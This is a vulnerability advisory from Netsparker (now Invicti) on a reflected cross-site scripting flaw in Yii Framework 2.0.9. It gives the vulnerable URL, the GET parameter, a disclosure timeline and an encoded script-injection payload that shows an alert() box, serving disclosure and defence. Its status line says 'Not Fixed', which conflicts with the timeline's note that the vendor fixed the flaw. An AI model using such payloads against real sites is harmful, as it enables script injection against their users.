Advisory by Netsparker (now Invicti)
Name: Reflected XSS Vulnerability in Yii Framework
Affected Software: Yii Framework 2.0.9
Affected Versions: 2.0.9
Vendor Homepage: 
Vulnerability Type: Cross-site Scripting
Severity: Important
Status: Not Fixed
Invicti Advisory Reference: NS-17-006

Technical Details

Proof of Concept URL for XSS vulnerability in Yii Framework;

Url /basic/web/index.php?r=site/errors
Parameter Name nsextt
Parameter Type GET
Attack Pattern nsextt=%27%22--%3E%3C/style%3E%3C/scRipt%3E%3CscRipt%3Ealert(0x004EE0)%3C/scRipt%3E

For more information on cross-site scripting vulnerabilities read the article Cross-site Scripting (XSS).

Advisory Timeline
01 Feb 2017 - Issue reported
07 Feb 2017 - Vendor fixed
08 Feb 2017 - Advisory released

Download the latest version of Yii Framework.

Credits & Authors
This issue has been discovered by Omar Kurt while testing Invicti Web Application Security Scanner.

About Invicti

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